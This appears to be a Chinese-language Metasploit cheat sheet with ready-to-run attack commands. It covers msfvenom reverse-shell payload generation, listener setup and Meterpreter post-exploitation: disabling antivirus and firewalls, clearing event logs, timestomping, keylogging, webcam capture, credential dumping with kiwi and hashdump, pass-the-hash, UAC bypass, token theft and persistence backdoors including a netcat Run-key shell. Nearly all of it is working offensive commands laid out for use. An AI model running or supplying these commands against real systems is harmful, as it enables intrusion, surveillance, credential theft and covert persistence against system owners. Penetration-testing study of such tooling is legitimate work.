msfvenom

帮助参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Options:
-l, --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p, --payload <payload> # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--list-options # 列出--payload <value> 的标准,高级和规避选项
-f, --format <format> # 指定 Payload 的输出格式(使用 --list formats 列出)
-e, --encoder <encoder> # 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name <value> # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
--smallest # 使用所有可用的编码器生成最小的payload
--encrypt <value> # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
--encrypt-key <value> # 用于加密的密钥
--encrypt-iv <value> # 加密的初始化向量
-a, --arch <arch> # 指定目标系统架构(使用 --list archs 列出)
--platform <platform> # 指定目标系统平台 (使用 --list platforms 列出)
-o, --out <path> # 保存payload文件
-b, --bad-chars <list> # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'
-n, --nopsled <length> # 指定 nop 在 payload 中的数量
-s, --space <length> # 设置未经编码的 Payload 的最大长度
--encoder-space <length> # 编码后的 Payload 的最大长度
-i, --iterations <count> # 设置 Payload 的编码次数
-c, --add-code <path> # 指定包含一个额外的win32 shellcode文件
-x, --template <path> # 指定一个特定的可执行文件作为模板
-k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行
-v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
-h, --help # 帮助

生成被控端

1
msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名

windows

1
sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.47.158 lport=4444 -f exe -o /tmp/payloadmem.exe
1
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.201.144 lport=2333 -f exe > payload.exe

linux

1
msfvenom -p linux/x86/meterpreter/reverse_tcp lport=2333 lhost=192.168.47.128 -f elf > exp

php

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.47.128 LPORT=2333 -f raw

编码

1
sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.47.158 lport=2333 -e x86/shikata_ga_nai -i 5 -f exe -o /tmp/payload.exe

运行主控端

windows

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.47.158
set lport 2333
exploit

linux

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.201.144
set lport 5000
exploit

meterpreter

command shell到meterpreter shell

Ctrl+z 推倒后台

image-20221101134821611

1
2
3
use post/multi/manage/shell_to_meterpreter
set session 6
run

image-20221101140713074

sessions -l

发现多了一个 id7

image-20221101140734826

1
sessions -i 7

image-20221101140752742

系统命令

1.基本系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
sessions    #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell exit退出
run post/windows/manage/killav #关闭目标系统杀毒软件

2.uictl开关键盘/鼠标

1
2
3
uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘

3.webcam摄像头命令

1
2
3
webcam_list  #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频

4.execute执行文件

1
2
3
4
5
6
execute # 在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见(目标桌面无反应),-i交互 得到一个cmdshell
execute -H -m -d notepad.exe -f /tmp/payload.exe -a "-o cmd.txt"
-d # 在目标主机执行时显示的进程名称(用以伪装)
-m # 直接从内存中执行
-a # 要传递给命令的参数 "-o cmd.txt"是cmd.exe的运行参数

image-20221101144009975

image-20221101145649981

目标机器容易报错

5.migrate进程迁移

上线前

set payload windows/meterpreter/reverse_tcp 设置完了端口与HOST

执行如下命令:set autorunscript migrate -n explorer.exe

上线后

1
2
3
4
getpid    # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程

windows可以使用自动迁移进程

1
run post/windows/manage/migrate

image-20221101150734584

image-20221101150908724

6.clearav清除日志

1
clearev #清除windows中的应用程序日志、系统日志、安全日志

受权限影响

image-20221101151342500

image-20221101151456654

文件系统命令

1.基本文件系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
getwd 或者pwd # 查看当前工作目录  
ls
cd
search -f *pass* # 搜索文件 -h查看帮助
cat C:\\Users\\secuser\\Documents\\test.txt # 查看文件内容
upload /tmp/payloadmem.exe C:\\Users\\secuser\\Documents\\ # 上传文件到目标机上
download C:\\Users\\secuser\\Documents\\xx.txt /tmp/ # 下载文件到本机上
edit C:\\1.txt #编辑或创建文件 没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查看当前目录
lcd /tmp #操作攻击者主机 切换目录

2.timestomp伪造时间戳

1
2
3
timestomp C:// -h   #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

网络命令

1.基本网络命令

1
2
3
4
5
ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由

2.portfwd端口转发

1
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

3.autoroute添加路由

1
2
3
4
run autoroute –h #查看帮助
run autoroute -s 192.168.52.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

4.Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

1
2
3
4
msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问

信息收集

1
2
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

1
2
3
4
5
6
7
8
9
10
11
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
run post/windows/gather/enum_logged_on_users #当前多少用户登录目标机器
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名密码

image-20221101202628949

远程桌面&截屏&防火墙

1
2
3
4
5
6
7
8
enumdesktops  #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
#先进shell模式
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender

键盘记录

1
2
3
keyscan_start  #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录

权限提升

0.提权EXP建议

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

1
meterpreter > run post/windows/gather/enum_patches  #查看补丁信息

local_exploit_suggester 补丁比对脚本

1
2
3
use post/multi/recon/local_exploit_suggester
set session 2
run

image-20221102024159666

1.getsystem提权

getsystem工作原理:

  1. getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

  2. getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

  3. Windows服务已启动,导致与命名管道建立连接。

  4. 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

2. 提高程序的运行级别(uac)

退到后台,使用下面模块,用更高等级的水平去执行bypass低等级的uac设置

1
use exploit/windows/local/ask

image-20221101201330765

设置参数

image-20221101201606465

1
2
set session 8
set filename update.exe

image-20221101201927639

目标机器跳出

image-20221101201806778

点击,是创建session 12

image-20221101201901375

当前就在session12中查看getuid无变化,执行getsystem提升到SYSTEM权限

image-20221101202427818

3.bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

1
2
3
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs

bypassuac.rb脚本:

1
2
3
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

bypassuac_injection脚本

image-20221102004730028

image-20221102004755130

4.内核漏洞提权

1
2
3
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

开启rdp&添加用户

1.enable_rdp脚本(高权限)

1
2
3
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=hack PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6666 #将3389端口转发到6666

image-20221101205700937

image-20221101205725976

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

image-20221101204958540

kiwi

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
load kiwi 加载kiwi模块
help kiwi 帮助
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

sniffer抓包

1
2
3
4
5
6
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/test.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包

image-20221101211903302

image-20221101211920978

注册表操作

1.注册表基本命令

1
2
3
reg –h
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据

2.注册表设置nc后门

1
2
3
4
5
6
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 8443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值

nc -v 192.168.159.144 8443 #攻击者连接nc后门

令牌操纵

1.incognito假冒令牌

1
2
3
4
5
6
7
use incognito      #help incognito  查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token

image-20221102005505793

image-20221102010424548

2.steal_token窃取令牌

1
2
steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token #删除窃取的token

image-20221102005803844

这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限

image-20221102010243431

哈希利用

1.导出域内hash

  1. 检查meterpreter会话的权限和目标机器操作系统
  2. 检测目标是否是域控
  3. 首先尝试从注册表中读取hash,不行的话再尝试注入LSASS进程
1
2
run post/windows/gather/smart_hashdump  #从SAM导出密码哈希
#需要SYSTEM权限

image-20221102011500307

2.PSExec哈希传递

通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享

1
2
3
4
5
6
7
8
9
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad****404ee:31d6cfe0d****c089c0
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit

后门植入

metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。

1.persistence启动项后门

C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

1
2
3
4
run persistence –h  #查看帮助
run persistence -X -i 5 -p 6666 -r 192.168.47.158
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
run persistence –A –L c:\\ -X 30 –p 6666 –r 192.168.47.158

连接后门

1
2
3
4
5
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.47.158
msf > set LPORT 6666
msf > exploit

2.metsvc服务后门(好像有点问题)

C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

1
2
run metsvc –h   # 查看帮助
run metsvc –A #自动安装后门

image-20221102020044322

连接后门

1
2
3
4
5
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.47.139
msf > set LPORT 31337
msf > exploit

CobaltStrike联动

M2C

1
2
3
4
5
6
7
8
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.47.158 # CS IP
set LPORT 2666 # CS http监听端口
set session 1
set DISABLEPAYLOADHANDLER true #注:主要目的是禁止msf监听
run

image-20221104190308531

image-20221104190244351

image-20221104190234404

C2M

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.47.158
set lport 4567
exploit -j
jobs # 查看后台攻击任务

image-20221104190331550

生成交互式shell

1
SHELL=/bin/bash script -q /dev/null
1
python -c 'import pty; pty.spawn("/bin/bash")'

searchsploit

默认前缀路径

1
/usr/share/exploitdb/exploits/

其他

reverse_tcpbind_tcp区别

reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),测试机主动连攻击机(回连)
bind_tcp:攻击机设置一个端口(LPORT),测试机执行打开该端口,让攻击机可以接入。(直连)